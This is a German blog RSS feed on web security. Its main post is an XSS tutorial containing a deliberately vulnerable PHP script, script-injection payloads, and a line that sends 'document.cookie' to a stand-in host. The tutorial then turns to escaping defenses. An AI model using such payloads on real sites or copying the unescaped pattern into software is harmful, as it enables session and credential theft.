<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>bueltge.de [by:ltge.de] &#187; XSS</title>
	<atom:link href="http://bueltge.de/tag/xss/feed/" rel="self" type="application/rss+xml" />
	<link>http://bueltge.de</link>
	<description>Frank Bültge schreibt auf bueltge.de zu den Themen Webentwicklung &#38; design, WordPress, Literatur und andere Themen bezüglich Internet und Development</description>
	<lastBuildDate>Mon, 06 Feb 2012 12:19:43 +0000</lastBuildDate>
	<language>de</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>SSEQ-LIB im Einsatz</title>
		<link>http://bueltge.de/sseq-lib-im-einsatz/1017/</link>
		<comments>http://bueltge.de/sseq-lib-im-einsatz/1017/#comments</comments>
		<pubDate>Tue, 08 Sep 2009 09:29:41 +0000</pubDate>
		<dc:creator>Frank Bültge</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[WP]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://bueltge.de/?p=1017</guid>
		<description><![CDATA[Ich habe hier live im Blog die SSEQ-LIB im Einsatz; nur so kann ich eine ausreichend frequentierte Plattform nutzen um die Library zu testen. Wenn jemanden meiner Leser Fehler, Ungereimtheiten oder einfach Unstimmigkeiten auffallen, dann wäre ich sehr dankbar für eine Mail oder einen Kommentar hier.

Zum Hintergrund: sseq-lib ist eine mächtige PHP-Security Bibliothek]]></description>
			<content:encoded><![CDATA[<p>Ich habe hier live im Blog die <a href="http://code.google.com/p/sseq-lib/">SSEQ-LIB</a> im Einsatz; nur so kann ich eine ausreichend frequentierte Plattform nutzen um die Library zu testen. Wenn jemanden meiner Leser Fehler, Ungereimtheiten oder einfach Unstimmigkeiten auffallen, dann wäre ich sehr dankbar für eine Mail oder einen Kommentar hier.</p>
<p><strong>Zum Hintergrund:</strong> <a href="http://code.google.com/p/sseq-lib/">sseq-lib</a> ist eine mächtige PHP-Security Bibliothek<br />
Security-Themen, die sseq-lib behandelt:</p>
<ul>
<li>XSS (Cross Site Scripting)</li>
<li>SQL-Injection</li>
<li>CSRF (Cross Site Request Forgery)</li>
<li>Session-Fixation</li>
<li>Mail-Header-Injection</li>
<li>File-Injection</li>
<li>HTTP-Header-Manipulation</li>
<li>Response-Splitting</li>
<li>Informative error messages</li>
</ul>
<p>Viele Informationen stehen im <a href="http://code.google.com/p/sseq-lib/">Projektverzeichnis</a> bereit und ebenfalls auf das Blog von <a href="http://www.erich-kachel.de/?page_id=133">Erich Kachel</a>.<br />
<hr />
<p><img src="http://bueltge.de/favicon.ico" alt="bueltge.de Favicon"/> <small>&copy; <a href="http://bueltge.de/">Frank B&uuml;ltge</a>, All rights reserved / Alle Rechte vorbehalten. (ID: 6e8b33de4342c4f2ca76b245199aeee8)</small></p>
<p><a href="http://bueltge.de/feed/"><img style="border: medium none ; float: left; margin-right: 10px;" src="http://bueltge.de/wp-content/themes/black_label/images/rss.gif" alt="Feed Icon" width="34" height="34" /></a>Danke für das Abonnieren meines <strong><a href="http://bueltge.de/feed/">Feed</a></strong>! Inhalt gefällt? <a href="http://bueltge.de/wunschliste/" title="Wunschliste">Danke sagen</a> &middot; <a href="http://bueltge.de/sseq-lib-im-einsatz/1017/#writecomment" title="zu den Kommentaren dieses Artikels">Kommentieren</a></p>
]]></content:encoded>
			<wfw:commentRss>http://bueltge.de/sseq-lib-im-einsatz/1017/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
	
		<media:thumbnail url="http://bueltge.de/favicon.ico" />
		<media:content url="http://bueltge.de/favicon.ico" medium="image">
			<media:title type="html">bueltge.de Favicon</media:title>
		</media:content>
		<media:content url="http://bueltge.de/wp-content/themes/black_label/images/rss.gif" medium="image">
			<media:title type="html">Feed Icon</media:title>
		</media:content>
	</item>
		<item>
		<title>XSS Scanner leicht gemacht</title>
		<link>http://bueltge.de/xss-scanner-leicht-gemacht/923/</link>
		<comments>http://bueltge.de/xss-scanner-leicht-gemacht/923/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 13:00:47 +0000</pubDate>
		<dc:creator>Frank Bültge</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Entwicklung]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Webdeveloper]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://bueltge.de/?p=923</guid>
		<description><![CDATA[Ein XSS Scanner, der einfach als Bookmark genutzt werden kann &#8211; genau das ist <a href="http://www.thespanner.co.uk/2009/03/25/xss-rays/">XSS Rays</a>.
Das Tool ist ein Open-Source-Werkzeug, wurde in JavaScipt geschrieben und kann browserübergreifend XSS-Anfälligkeiten finden.

Im Entwicklungsprozess kann so schnell, einfach und unkompliziert die Sicherheit erhöht werden. Das Tool ist schnell als Lesezeichen im Browser abgelegt und scannt Links und Pfade. Alternativ kann man neue Angriffsvektoren hinzufügen. Definitiv ein Bookmark wert.]]></description>
			<content:encoded><![CDATA[<p>Ein XSS Scanner, der einfach als Bookmark genutzt werden kann &#8211; genau das ist <a href="http://www.thespanner.co.uk/2009/03/25/xss-rays/">XSS Rays</a>.<br />
Das Tool ist ein Open-Source-Werkzeug, wurde in JavaScipt geschrieben und kann browserübergreifend XSS-Anfälligkeiten finden.<br />
<span id="more-923"></span><br />
Zum Thema XSS habe ich bereits einiges an Infos veröffentlicht, was mir im Lernprozess geholfen hat, siehe Beitrag <a href="http://bueltge.de/cross-site-scripting-xss/477/">Cross Site Scripting (XSS)</a>. Bisher habe ich andere Tools eingesetzt, die mir ein wenig Sicherheit nach dem Coden geben. Mit diesem Tool bin ich daher sofort infiziert, infiziert von einer Idee, die es wirklich einfach macht, eine kleine weitere Prüfung beim Entwickeln aufzunehmen.</p>
<p>Im Entwicklungsprozess kann so schnell, einfach und unkompliziert die Sicherheit erhöht werden. Das Tool ist schnell als Lesezeichen im Browser abgelegt und scannt Links und Pfade. Alternativ kann man neue Angriffsvektoren hinzufügen. Definitiv ein Bookmark wert. Download und Anwendung finden sich auf der Webseite zum Tool <a href="http://www.thespanner.co.uk/2009/03/25/xss-rays/">XSS Rays</a>.<br />
<hr />
<p><img src="http://bueltge.de/favicon.ico" alt="bueltge.de Favicon"/> <small>&copy; <a href="http://bueltge.de/">Frank B&uuml;ltge</a>, All rights reserved / Alle Rechte vorbehalten. (ID: 6e8b33de4342c4f2ca76b245199aeee8)</small></p>
<p><a href="http://bueltge.de/feed/"><img style="border: medium none ; float: left; margin-right: 10px;" src="http://bueltge.de/wp-content/themes/black_label/images/rss.gif" alt="Feed Icon" width="34" height="34" /></a>Danke für das Abonnieren meines <strong><a href="http://bueltge.de/feed/">Feed</a></strong>! Inhalt gefällt? <a href="http://bueltge.de/wunschliste/" title="Wunschliste">Danke sagen</a> &middot; <a href="http://bueltge.de/xss-scanner-leicht-gemacht/923/#writecomment" title="zu den Kommentaren dieses Artikels">Kommentieren</a></p>
]]></content:encoded>
			<wfw:commentRss>http://bueltge.de/xss-scanner-leicht-gemacht/923/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:thumbnail url="http://bueltge.de/favicon.ico" />
		<media:content url="http://bueltge.de/favicon.ico" medium="image">
			<media:title type="html">bueltge.de Favicon</media:title>
		</media:content>
		<media:content url="http://bueltge.de/wp-content/themes/black_label/images/rss.gif" medium="image">
			<media:title type="html">Feed Icon</media:title>
		</media:content>
	</item>
		<item>
		<title>Web-Anwendungen und ihre größten Schwachstellen</title>
		<link>http://bueltge.de/web-anwendungen-und-ihre-groeszten-schwachstellen/535/</link>
		<comments>http://bueltge.de/web-anwendungen-und-ihre-groeszten-schwachstellen/535/#comments</comments>
		<pubDate>Sun, 11 Nov 2007 00:17:51 +0000</pubDate>
		<dc:creator>Frank Bültge</dc:creator>
				<category><![CDATA[Entwicklung]]></category>
		<category><![CDATA[Webküche]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Script]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://bueltge.de/web-anwendungen-und-ihre-groeszten-schwachstellen/535/</guid>
		<description><![CDATA[Eine Liste mit Schwachstellen in Webanwendungen ohne Wertung der Reihenfolge. Viele Informationen beziehen sich auf die Aussagen des OWASP-Projektes. Dort sind auch mögliche Lösungen und Hintergründe in ausführlicher Form hinterlegt (Downloads). Cross Site Scripting (XSS) Die bekannteste und meiste genutzte Lücke im System - XSS. Wie, was und warum - dazu habe ich bereits einen [...]]]></description>
			<content:encoded><![CDATA[<p>Eine Liste mit Schwachstellen in Webanwendungen ohne Wertung der Reihenfolge. Viele Informationen beziehen sich auf die Aussagen des <a href="http://www.owasp.org/">OWASP-Projektes</a>. Dort sind auch mögliche Lösungen und Hintergründe in ausführlicher Form hinterlegt (<a href="http://www.owasp.org/index.php/OWASP_Guide_Project#OWASP_Guide_2.0_Downloads">Downloads</a>).<br />
<span id="more-535"></span></p>
<h3>Cross Site Scripting (XSS)</h3>
<p>Die bekannteste und meiste genutzte Lücke im System - XSS. Wie, was und warum - dazu habe ich bereits <a href="http://bueltge.de/cross-site-scripting-xss/477/">einen Artikel im Vorfeld</a> veröffentlicht.</p>
<p>Grundlegend heißt es, bösartige User hinterlegen Script im Browser des Anwenders und holen darüber benutzereigene Daten und können mit diesen Daten beispielsweise schadhaften Code injizieren. Die meisten Angriffe werden mittels JavaScript ausgeführt, daher auch die ehemalige Ablehnung von JavaScipt in einigen Bereichen. Grundlegend können aber XSS-Attacken mit jeder Script-Sprache ausgeführt werden, die der Browser unterstützt. Seit dem Thema Web 2.0 ist JavaScript in aller Munde und in vielen Anwendungen nicht mehr wegzudenken. Um so wichtiger das Wissen über die möglichen Schwachstellen und die damit verbundene Vorsorge. Gerade im AJAX-Umfeld ist XSS ein Problem.</p>
<p>Hierbei sehr interessant das <a href="http://ha.ckers.org/xss.html ">XSS-Cheat Sheet</a> (Auch im Download von OWASP zu finden)</p>
<h3>Cross Site Request Forgery (CSRF)</h3>
<p>Der Hacker greift den Client an und übernimmt die Kontrolle über den Browser. In der Regel passiert das nach dem Einloggen in eine Webappliaktion. Mit diesem Login kann der Hacker dann Anfragen an das System kreieren und nutzereigene Daten als Rückmeldung bekommen. In der Regel laufen derartige Aktione über Cookies-Sessions. Einzige Lösung ist das nicht Speichern durch den Browser von relevanten Daten.</p>
<h3>Offene URLs</h3>
<p>Eine ganze Reihe von Webseiten haben Anwendungen für kleine Bereiche laufen. Allerdings schützen sie die Verzeichnisse nicht und versierte User finden die URLs recht schnell und können so auf eventuell schützenswerte Daten zugreifen. Es findet also das klassische Erraten von Adressen statt, was man aber deswegen nicht als abwegig und nachlässig einstufen sollte. Prinzipiell sollte man den Anderen nicht unterschätzen, also lieber das Verzeichnis schützen und eine Zugangskontrolle implementieren.</p>
<h3>Ausführen von</h3>
<p>Kann die Applikation Nutzerdaten akzeptieren, dann kann prinzipiell auch schadhafter Code ausgeführt werden. Die meisten Probleme in diesem Umfeld sind mit der Sprache PHP bekannt. Anfällig ist aber jede Applikation oder Framework. Die Schwachstellen wird bezeichnet als Remote File Inclusion (RFI).</p>
<h3>Injection-Fehler</h3>
<p>Hierbei nutzen Hacker die Möglichkeit, dass Daten vom Anwender als Befehl oder Anfrage an einen Interpreter gesendet werden. Dabei werden die Befehle manipuliert und die Daten verändert. Man kann also jede Form von Daten für die Anwendung erstellen, lesen, ändern oder löschen. Das größte Problem in aktuellen Anwendungen sind die gelobten APIs. Diese könnten, wenn sie Lücken aufweisen dazu missbraucht werden. Klassisches Beispiel sind SQL-Injections.</p>
<h3>Objekt-Zugriff</h3>
<p>Unautorisierte Zugriffe via Direct Object References dienen dem Angreifer um auf Dateien, Verzeichnisse, Schlüssel oder direkt auf Datenbankeinträge zuzugreifen. Prinzipiell kann man, wenn man einen Schlüssel im System hat, auf die anderen Schlüssel schließen und verwenden. Ein klassisches Beispiel ist der Finanzmarkt: die Kontonummer des Nutzers referenziert ihn in allen Anwendungen und somit hat der Angreifer Kontonummer und kann damit weitere Daten abrufen. Eine indirekte Referenz kann helfen und macht die Zugriffe autonomer. Grundlegend sollten direkte Referenzen vermieden werden.</p>
<h3>Fehlerbehandlung</h3>
<p>Ausführliche und inhaltlich wertvolle Fehlerbeschreibungen eines Fehlers in der Webapplikation sind für Hacker ein Schlüssel. Mit diesen detailreichen Informationen können Bösewichte entsprechende Maßnahmen einleiten um das System für sich zu öffnen. Derartige Probleme lassen sich nur mit Hilfe von umfangreichen Tests finden. Auch dafür gibt es Tools mit entsprechenden Möglichkeiten. Außerdem gehört die Fehlerbehandlung im Live-Betrieb deaktiviert.</p>
<h3>Zugang via Session und Kommunikation</h3>
<p>Webapplikationen sind so gut wie immer mit einem Zugang geschützt, die Zugangsdaten gehören sicher gespeichert und der Zugang sollte immer per Protokoll SSL laufen. Ebenso speichert man Zugangsdaten nicht 1:1, sondern mit Hilfe eines Hash. Auch hier gilt es, Cookies sind nicht immer der Schlüssel zum Glück des Anwenders. Die Kommunikation zwischen verschiedenen Servern o.ä. gehört mittels Verschlüsselung oder Transport Layer Security realisiert.</p>
<h3>Offene Datenablage</h3>
<p>Die Datenablage ist bei relevanten Applikation schon heute in vielen Bereichen verschlüsselt. Die Daten selbst werden aber uncodiert gespeichert und die vorhandene Verschlüsselung ist oft unzureichend. Es gilt, dass möglichst starke und ausreichend getestet, besser standardisierte, Algorithmen genutzt werden. Einfache oder eigene Algorithmen entsprechen selten den nötigen Anforderungen.<br />
<hr />
<p><img src="http://bueltge.de/favicon.ico" alt="bueltge.de Favicon"/> <small>&copy; <a href="http://bueltge.de/">Frank B&uuml;ltge</a>, All rights reserved / Alle Rechte vorbehalten. (ID: 6e8b33de4342c4f2ca76b245199aeee8)</small></p>
<p><a href="http://bueltge.de/feed/"><img style="border: medium none ; float: left; margin-right: 10px;" src="http://bueltge.de/wp-content/themes/black_label/images/rss.gif" alt="Feed Icon" width="34" height="34" /></a>Danke für das Abonnieren meines <strong><a href="http://bueltge.de/feed/">Feed</a></strong>! Inhalt gefällt? <a href="http://bueltge.de/wunschliste/" title="Wunschliste">Danke sagen</a> &middot; <a href="http://bueltge.de/web-anwendungen-und-ihre-groeszten-schwachstellen/535/#writecomment" title="zu den Kommentaren dieses Artikels">Kommentieren</a></p>
]]></content:encoded>
			<wfw:commentRss>http://bueltge.de/web-anwendungen-und-ihre-groeszten-schwachstellen/535/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:thumbnail url="http://bueltge.de/favicon.ico" />
		<media:content url="http://bueltge.de/favicon.ico" medium="image">
			<media:title type="html">bueltge.de Favicon</media:title>
		</media:content>
		<media:content url="http://bueltge.de/wp-content/themes/black_label/images/rss.gif" medium="image">
			<media:title type="html">Feed Icon</media:title>
		</media:content>
	</item>
		<item>
		<title>Cross Site Scripting (XSS)</title>
		<link>http://bueltge.de/cross-site-scripting-xss/477/</link>
		<comments>http://bueltge.de/cross-site-scripting-xss/477/#comments</comments>
		<pubDate>Thu, 09 Aug 2007 11:49:10 +0000</pubDate>
		<dc:creator>Frank Bültge</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Tipps]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugin]]></category>
		<category><![CDATA[Sucherheit]]></category>
		<category><![CDATA[WP]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://bueltge.de/cross-site-scripting-xss/477/</guid>
		<description><![CDATA[Das Internet ist nicht mehr nur Webseite und Bilder für andere. Mittlerweile werden hinreichend wichtige Anwendungen im Web geführt. Genauso wird es immer einfacher eine eigene Seite ohne großartiges Hintergrundwissen zu pflegen oder gar einzurichten. Auch WordPress liefert dazu einen großen Beitrag. noch vor einigen Jahren war das einrichten und pflegen eines CMS für den Laien undenkbar. Gleiches gilt für die Pluginschnittstelle von WordPress, die die Erweiterung sehr einfach und mächtig gestaltet. Allerdings können Plugins auch Türen und Toren des Systems öffnen, dazu muss kein Fehler im Core-System vorliegen.]]></description>
			<content:encoded><![CDATA[<p>Das Internet ist nicht mehr nur Webseite und Bilder für andere. Mittlerweile werden hinreichend wichtige Anwendungen im Web geführt. Genauso wird es immer einfacher eine eigene Seite ohne großartiges Hintergrundwissen zu pflegen oder gar einzurichten. Auch WordPress liefert dazu einen großen Beitrag. noch vor einigen Jahren war das einrichten und pflegen eines CMS für den Laien undenkbar. Gleiches gilt für die Pluginschnittstelle von WordPress, die die Erweiterung sehr einfach und mächtig gestaltet. Allerdings können Plugins auch Türen und Toren des Systems öffnen, dazu muss kein Fehler im Core-System vorliegen.</p>
<p>Leider kommen mit zunehmenden Webanwendungen auch immer mehr Sorgen zum Thema Sicherheit. Eines der aktuellsten und größten Probleme von Webanwendungen ist das Thema Cross Site Scripting, kurz XSS. Das Thema kann und darf nicht unbeachtet bleiben! Leider ist XSS kein kleines Problem von Hobbycodern und „Homepagebastlern“. Immer wieder liest man über Probleme aus diesem Bereich bei großen und wichtigen Anwendungen von Konzernen und Webseiten, bei denen man eventuell eine ganze Reihe von persönlichen Daten speichert.</p>
<p>Vor geraumer Zeit war ein <a href="http://bueltge.de/sicherheitsluecken-im-plugin-wp-feedstats/476/">Plugin</a>, welches ich eine wenig verändert und erweitert habe, betroffen und ich bin dankbar, dass solche Fehler aufgezeigt werde - so werden auch „Hobbyplugins“ besser und sicher. Dies war auch der Grund, warum ich mich näher mit dem Thema XSS auseinander gesetzt habe. Ganz besonders im Bezug auf WordPress.<br />
Dieser Artikel soll dem Interessierten einen Einblick in das Thema XSS geben und gleichzeitig an Hand von Beispielen zeigen, wie man XSS nutzt, welche Arten es gibt und wie man dagegen angehen kann. In einem kleinen Unterpunkt werde ich auch kurz die Möglichkeiten innerhalb von WordPress aufzeigen, mit denen man die eigene Installation oder ein Plugin sicherer macht.</p>
<h3>Cross Site Scripting (XSS)</h3>
<p>Die größte Gefahr von XSS besteht in seiner Einfachheit - lediglich ein Browser ist notwendig, um ein Angriffsmuster zu stricken und die betroffene Webanwendung zu injizieren.</p>
<p><strong>XSS ist grundlegend die Manipulation von Benutzereingaben, die an eine Webanwendung übergeben wird.</strong></p>
<p>Durch das Ausnutzen von Sicherheitslücken kann ein User Programmcode in die Umgebung einbringen und damit eventuell schaden anrichten. Ebenso könnte man damit die Kontrolle über die Webanwendung erreichen wollen. In der Regel liegt immer das gleiche Ziel vor - das Auslesen von Benutzerdaten.</p>
<h3>Arten von XSS</h3>
<p>Es gibt eine ganze Anzahl von Möglichkeiten schadhaften Code in die Anwendung zu injizieren. Derzeit wird XSS nicht explizit definiert, demzufolge gibt es auch verschiedene Ansichten zum Umfang von Arten des XSS.<br />
In der Regel betrachtet man Code, der auf der Clientseite indiziert wird. Es gibt aber auch Möglichkeiten und Scenarios den Server zu beeinflussen, zum Beispiel in der Datenbank.<br />
Wer sich mit allen Arten auseinander setzen will, dem sei die <a href="http://www.gnucitizen.org/xssdb/application.htm">XSS-Datenbank</a> empfohlen. Nur die schon dort möglichen Klick-Scenarios zeigen die Möglichkeiten, die in Webanwendungen bestehen.</p>
<h3>XSS ein wenig tiefer</h3>
<p>XSS fällt immer im Zusammenhang mit Webanwendungen. Diese zeichnen sich oft durch das Nutzen von dynamischen Inhalten aus. Erzeigt werden sie oft mit PHP, ASP oder Perl. Wobei der Einsatz von Frameworks auch hier weiterhin im Aufwind ist. Bei vielen Anwendungen werden relevante Daten, Benutzereingaben, mit Hilfe von GET-Parametern in der URL übergeben. Werden diese Inhalte ohne Prüfung im weiteren Verlauf der Anwendung genutzt, so besteht die Möglichkeit den Code in diese Anwendung zu injizieren. Das Einschleusen von böswilligen Code kann prinzipiell in jeder Sprache erfolgen, typisch ist jedoch JavaScript.</p>
<h3>XSS selbst gemacht</h3>
<p>Genug nun der Vorrede - kommen wir nun zu einem simplen Beispiel. Mittels einer kleinen Anwendung, die mit wenigen PHP-Kenntnissen zu verstehen ist, wollen wir JavaScript in die Seite injizieren. Damit das Beispiel auch problemlos funktioniert, muss der Server so konfiguriert sein, dass XSS möglich ist. Einige Server filtern im Standard nach XSS-Angriffen.</p>
<p>Der folgende Code muss lediglich als php-Datei gespeichert und mittels FTP auf den Server gespielt werden. Im folgenden ist lediglich das Script im Browser aufzurufen. Vorerst ist nur ein einfaches Formular zu sehen, vorerst nichts ungewöhnliches.</p>
<pre><code>
&lt;?php
// XSS selber machen

setcookie("xss", "Testeintrag: XSS selber machen");

$text = $_GET['text'];
$title = $_GET['title'];

if (!$text &#038;& !$title) {
	echo '
	&lt;html&gt;
	&lt;head&gt;
	&lt;title&gt;XSS Test&lt;/title&gt;
	&lt;/head&gt;
	&lt;body&gt;
	&lt;form action=&quot;xsstest.php&quot;&gt;
	&lt;input type=&quot;text&quot; name=&quot;title&quot; value=&quot;Betreff&quot;/ &gt;
	&lt;br /&gt;
	&lt;textarea name=&quot;text&quot; rows=&quot;10&quot; cols=&quot;40&quot; &gt;&lt;script&gt;alert(&quot;vulnerable&quot;);&lt;/script&gt;&lt;/textarea&gt;&lt;br /&gt;
	&lt;input type=&quot;submit&quot; name&quot;send&quot; value=&quot;Senden&quot; /&gt;
	&lt;/form&gt;
	&lt;/body&gt;
	&lt;/html&gt;';
}

if ($text || $title) {
	echo '
	&lt;html&gt;
	&lt;head&gt;
	&lt;title&gt;XSS Test - Ausgabe&lt;/title&gt;
	&lt;/head&gt;
	&lt;body&gt;
	&lt;h1&gt;Die Mitteilung&lt;/h1&gt;
	Title: ' . $title . '&lt;br /&gt;
	Text: ' . $text . '
	&lt;/body&gt;
	&lt;/html&gt;';
}

echo '&lt;p&gt;*varAusgabe gesichert' . '&lt;br /&gt;';
echo 'varText: ' . stripslashes(htmlspecialchars($text)) . '&lt;br /&gt;';
echo 'varTilte: ' . stripslashes(htmlspecialchars($title)) . '&lt;/p&gt;';
?&gt;
</code></pre>
<p>Nachdem das Formular abgesandt wurde, ist ein Messagefenster in Vordergrund zu sehen. Dieses wurde mittels des Inhaltes in Textbox ausgeführt. Im Code habe ich den simplen JS-Code schon hinterlegt. Die Eingabe kann natürlich sehr vielfältig sein. Die meisten Formulare, Gästebücher und Foren nutzen diese Form, nur umfangreicher. Die Vorgehensweise ist jedoch immer die gleiche.</p>
<h4>Warum war es so einfach?</h4>
<p>Schauen wir uns den Code an, in den ersten Zeilen wird der Inhalt der GET-Parameter direkt in die Anwendung integriert. </p>
<pre><code>
$text = $_GET['text'];
$title = $_GET['title'];
</code></pre>
<p>Mit Hilfe von <em>echo</em> wird der Inhalt der Variablen ausgeben. In diesem Script kann nicht viel mit dieser Ausgabe erfolgen. Stellen wir uns aber vor, dass die Daten in eine Datenbank geschrieben werden und spezifisch zu einem Nutzer ausgelesen werden, dann kann man damit schon den Anwender entsprechen einfach manipulieren und beispielsweise schnell um seine Login-Daten bringen.</p>
<p>Die Eingabe des Users wird also direkt in die HTML-Ausgabe injiziert. In Beispielfall wird JavaScript indiziert. Ein Browser führt dieses Anweisung aus, er interpretiert sie. Er kann nicht wissen, woher der Code kommt und warum er interpretiert werden soll.</p>
<p>Will man nun noch weiter gehen, so kommt der ersten Zeile <em>setcookie("xss", "Testeintrag: XSS selber machen");</em> eine große Bedeutung hinzu. In der Regel speichern Anwendungen eine ganze Reihe von Daten in Cookies.</p>
<p>Rufen wir nun also nochmal das Script auf und ändern den Inhalt der Textbox lediglich auf folgende kleine JS-Anweisung.</p>
<pre><code>
&lt;script&gt;alert(document.cookie);&lt;/script&gt;
</code></pre>
<p>Nach dem Absenden des Formulars wird sich ein ähnliches Messagefenster öffnen, lediglich der Inhalt des Fensters ist umfangreicher. Es wurden die Daten des Cookie ausgelesen und in den Code injizieren.</p>
<p><img class="centered" src="http://bueltge.de/wp-content/images/xss_cookie.gif" alt="XSS mit Cookie" /></p>
<p>Mit Hilfe dieser kleinen Beispiele kann man noch nicht sonderlich viel anrichten, es ärgert maximal den User. Aber man könnte beispielsweise durch das Auslesen des Cookie den Anwender auf eine andere Webseite bringen und dort die Inhalte des Cookies übergeben. </p>
<pre><code>
&lt;script&gt;document.location=&quot;http://domain.de/&quot;+document.cookie&lt;/script&gt;
</code></pre>
<p>Dort sind die Daten schnell in eine Datenbank geschrieben. Mit dieser Lösung kann man einfach und schnell empfindliche Inhalte stehlen - ein viel genutzter Weg. Stellen wir uns vor, dass die Webseite, auf die man weiterleitet, auch noch das gleiche Design hat, so kann man sicher schnell verstehen, wie potenzielle User an Logindaten u.ä. kommen.</p>
<p>Nun haben wir einen sehr kleinen Einblick, der aber sicher auch für technisch interessierte Leser schnell nachzuvollziehen ist, von möglichen Lücken. Es gibt eine ganze Reihe weiterer Möglichkeiten, die hier aber nicht weiter erläutert werden sollen. Im Anschluss an dieses Artikel gibt es eine Reihe von Linktipps, die mir beim Lernen und verstehen geholfen haben. Wer also mehr zum Thema XSS wissen möchte, der sollte sich dort umsehen.</p>
<h3>XSS filtern</h3>
<p>Wie kann man nun aber mögliche Lücken ausschließen - wie mache ich meine kleine Anwendung sicherer. Einige kleine und einfache Möglichkeiten sollen nun zur Sprache kommen und aufzeigen, dass es nicht viel Aufwand bedarf, die PHP-Anwendung ein wenig sicherer zu machen. PHP bietet eine ganze Reihe von Funktionen um das Injizieren von fremden Code zu erschweren.</p>
<p>Generell sollte man jede Benutzereingabe überprüfen, somit entsteht ein System von Schutzmaßnahmen. Dabei sollten nicht nur GET- und POST-Variablen überprüft werden, sondern auch Cookie-Werte. Dabei müssen die Werte in einem Bereich liegen, alle anderen Werte werden gefiltert - positives Sicherheitskonzept.</p>
<p>Sonderzeichen, die der Browser interpretiert (< und >), müssen in Entities konvertiert werden. Dafür stehen innerhalb PHP Funktionen zur Verfügung.</p>
<pre><code>
htmlspecialchars()

htmlentities()

strip_tags()

urlencode()
</code></pre>
<p>Nähere Beschreibung der Funktionen sind in der <a href="http://de.php.net/">PHP-Doku</a> zu finden.</p>
<h3>Funktion von WordPress</h3>
<p>Auch WordPress stellt von Haus aus, neben den genannten PHP-Möglichkeiten, einige Hilfe für das Erstellen sicherer Plugins zur Verfügung, die man über die PHP-Standard-Funktionen hinaus nutzen kann. Die wichtigste und unkomplizierteste Funktion für die eigene Verwendung ist die erstgenannte <em>attribute_escape()</em>. Diese wirkt im Zusammenhang mit der Funktion <em>wp_specialchars()</em></p>
<ul>
<li>attribute_escape() (<a href="http://codex.wordpress.org/Filters">im codex nachlesen</a>)</li>
<li>wp_nonce_url()</li>
<li>wp_nonce_field()</li>
<li>wp_nonce_ays</li>
</ul>
<pre><code>
function attribute_escape($text) {
	$safe_text = wp_specialchars($text, true);
	return apply_filters('attribute_escape', $safe_text, $text);
}
</code></pre>
<pre><code>
function wp_specialchars( $text, $quotes = 0 ) {
	// Like htmlspecialchars except don't double-encode HTML entities
	$text = str_replace('&#038;&', '&#038;&#038;', $text);
	$text = str_replace('&#038;&', '&#038;&#038;', $text);
	$text = preg_replace('/&#038;(?:$|([^#])(?![a-z1-4]{1,8};))/', '&#038;$1', $text);
	$text = str_replace('<', '&lt;', $text);
	$text = str_replace('>', '&gt;', $text);
	if ( 'double' === $quotes ) {
		$text = str_replace('"', '&quot;', $text);
	} elseif ( 'single' === $quotes ) {
		$text = str_replace("'", '&#039;', $text);
	} elseif ( $quotes ) {
		$text = str_replace('"', '&quot;', $text);
		$text = str_replace("'", '&#039;', $text);
	}
	return $text;
}
</code></pre>
<h3>Weiterführende Links</h3>
<ul>
<li><a href="http://www.gnucitizen.org/xssdb/application.htm">XSS Datenbank</a></li>
<li><a href="http://markjaquith.wordpress.com/2006/06/02/wordpress-203-nonces/">WordPress Nonces</a></li>
<li><a href="http://board.protecus.de/download.php?id=263584.xss_cross-site-scripting.pdf">XSS Cross Site Scripting</a> (PDF)</li>
<li><a href="http://michaeldaw.org/papers/securing_wp_plugins/">Writing Secure WordPress Plugins</a></li>
<li><a href="http://www.heise.de/security/artikel/print/38658">Cross-Site-Scripting: Datenklau über Bande</a></li>
<li><a href="http://board.protecus.de/t21932.htm">XSS Anleitung und Infos</a></li>
<li><a href="http://pixel-apes.com/safehtml/?page=safehtml">SafeHTML - AntiXSS-HTML Parser</a></li>
<li><a href="http://www.technikwuerze.de/podcast/technikwuerze84/1">Technikwürze 84 - Böses Cross-Site Scripting</a> (Podcast)</li>
<li><a href="http://su2.info/uni/sosi/xss_paper.pdf">Konstruktion sicherer Anwendungssoftware (XSS)</a> (PDF)</li>
<li><a href="http://shiflett.org/articles/foiling-cross-site-attacks">Foiling Cross-Site Attacks</a> (english)</li>
<li><a href="http://de.wikipedia.org/wiki/SQL-Injektion">SQL Injektion und Massnahmen</a></li>
</ul>
<hr />
<p><img src="http://bueltge.de/favicon.ico" alt="bueltge.de Favicon"/> <small>&copy; <a href="http://bueltge.de/">Frank B&uuml;ltge</a>, All rights reserved / Alle Rechte vorbehalten. (ID: 6e8b33de4342c4f2ca76b245199aeee8)</small></p>
